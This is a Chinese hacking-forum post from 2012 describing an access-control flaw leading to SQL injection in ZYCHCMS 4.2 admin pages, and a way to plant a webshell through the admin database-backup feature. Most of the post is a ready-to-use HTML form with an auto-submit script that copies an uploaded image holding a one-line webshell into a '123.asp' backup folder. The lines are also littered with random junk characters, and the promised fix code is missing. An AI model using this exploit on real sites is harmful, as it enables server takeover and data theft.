找回密码
 立即注册
查看: 2002|回复: 0
打印 上一主题 下一主题

ZYCHCMS企业网站管理系统SQL注入漏洞及后台拿webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-10 21:09:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
% n2 {) D5 V& t
. y. A/ L# y% n: ~( a  ^
( z- m* N5 K1 z- ~

* z* p2 G& I4 c* o) e, n影响版本:ZYCHCMS企业网站管理系统4.2(存在以下两个文件的版本应该是通杀)
9 A, ^. D* O* R  U( ~ ①SQL注射漏洞
9 J1 F6 b9 a6 _4 U 漏洞文件:/admin/add_js.asp & /admin/add_xm_jiang.asp( i# `& K4 `7 A" j5 c
漏洞原因:未过滤9 ?* x4 _9 `. f
漏洞代码:0 \! J* O4 o# u; f: r5 n% m" b
都是相同的,文件开头没有调用过滤文件/admin/seeion.asp,导致没有对当前权限进行判断,就直接操作数据库。3 @" C6 c5 u( W; B" {5 J0 X1 S' Q
修复方法:在文件开头加入代码
. e% `( ]" m# g+ Z 1 h7 f3 h4 Q4 E) t6 q
* |9 j- q8 s' ]1 V" A
②后台拿WBSHELL
+ y/ T& _) c, x 进入后台有一个数据库备份,可以通过本地提交突破创建.asp后缀文件夹,并将一句话备份进去。5 `% {) j8 m; A% u* g
这里在网上找了一个,改了下,将就着用。
) a/ b9 L2 x$ G7 H# e# F& t% | 以下是代码本地提交代码
6 j  K% A4 R) @ % K9 U3 I/ z! t( ?& N
7 e; F; w2 z% v. a
<form method=”post” action=”http://localhost/admin/Manage_backup.asp?action=Backup” name=add>- s* ]1 t: u, J8 q0 x
<!–eg:http://127.0.0.1:99/admin/Manage_backup.asp?action=Backup–>6 K0 \* \# }# D1 e  q; J
<tr>  x$ _" q! s; {: b5 H) T* S
<td height=”30″ background=”images/bg_list.gif”><div style=”padding-left:10px; font-weight:bold; color:#FFFFFF; text-align:left”>备份数据库</div></td>0 d, r9 s) U1 d( @
</tr>! M1 ]# U! N( |
<tr>
& _! I% Q9 d: d/ ]2 z5 A3 z <td bgcolor=”#FFFFFF”><span class=”back_southidc”>
. v5 ?# R$ V$ J. X% J) b! v </span>
+ u& P  W6 Y1 Z( X1 r& K# v9 G <table width=”100%” border=”0″ align=”center” cellpadding=”5″ cellspacing=”0″ >: V0 v# D  U8 b$ L. A. H( l* b  O
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″ >) P5 ?) V" ~+ i6 F
<td height=”25″ width=”30%” class=”td”><div align=”left”>当前数据库路径</div></td>
: _- f& Y* w! r' l8 A7 L <td width=”70%” class=”td”>90sec. K5 L9 v8 S8 d
8 _, V9 a$ w6 k <div align=”left”>8 R+ w7 F: z! |
<input type=”text” size=”30″ name=”DBpath” value=”此处为你在其网站上传的图片格式一句话路径” />
% z. w2 h4 s7 \' e' R, k  z: m <!–eg:../uploadfile/image/Logo/20120803130885328532_ZYCH.jpg>
  }9 N3 L5 y  F& W <input type=”hidden” size=”50″ name=”bkfolder” value=”123.asp” />
2 T3 U4 q: a6 R/ _5 ^4 L- ^ </div></td>9 M+ |& x! l) O! y* U
</tr>/ h  {4 m* K1 ?! K
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#FFFFFF’” bgcolor=”#FFFFFF”>
( h. e7 S2 j& t- l0 t) Z <td height=”25″ width=”30%” class=”td”><div align=”left”>备份数据库名称</div></td>
& F# S; V! D4 f& v) ]4 A <td class=”td”><div align=”left”>
# K) C. {# X4 ~/ g9 n  h <input type=”text” size=”30″ name=”bkDBname” value=”4.mdb” />. y) M  K8 s2 m' w
[如备份目录有该文件,将覆盖,如沒有,将自动创建]</div></td>
- C# L/ g0 G& C </tr>) f& x' u5 `2 ]' U
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″>& ?4 U9 d3 `* e0 C* P
<td height=”25″ width=”30%” class=”td”><div align=”left”></div></td>
3 s* ]1 N/ Q: F/ ^& j, W <td class=”td”><div align=”left”>  z4 u' H( [% Y) _" |6 ~
<input type=”submit” value=”确定备份” class=”btn”$ t3 D: Q$ S$ ]5 u8 G' |
</div></td>
0 S+ D4 Y2 h3 l9 l6 _$ X </tr>; b" N, J0 e2 X9 `
</table></td></tr></form>
9 q2 d' ?' Q1 s3 @4 L6 p2 c( l' u </table>* ^/ w5 q$ K( {, |+ f
</td>0 Q" ~+ t9 W  e+ c1 |7 I
</tr>
8 X: s) ]1 s! ^1 c; M7 g' L- L </table>
4 c6 Y1 J4 ]6 z" S: B) Q4 U( U3 b <script>3 z% N' w/ @7 G6 C) \6 f1 d9 m; p
document.all.add.submit();
+ e* G; Q% d5 B  I* ]' C5 F </script>5 e9 q1 S  H" d
, ]# {/ C; y) H1 G
2 T8 Z  t4 W( Y( d* C* z9 k
8 Y: S8 N0 O& X1 A$ E
! v7 j! S( J1 J! `% p$ O

; Z0 p! x7 A2 B; O* H- ~5 a% z, K

" M1 U( J7 I( k9 P- `4 y
# {# j1 t* T( n- e1 x0 B! _" l5 z- @1 w% e: `9 c+ H
. ]' e/ o/ }/ v. E5 y, y. X0 v" V
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表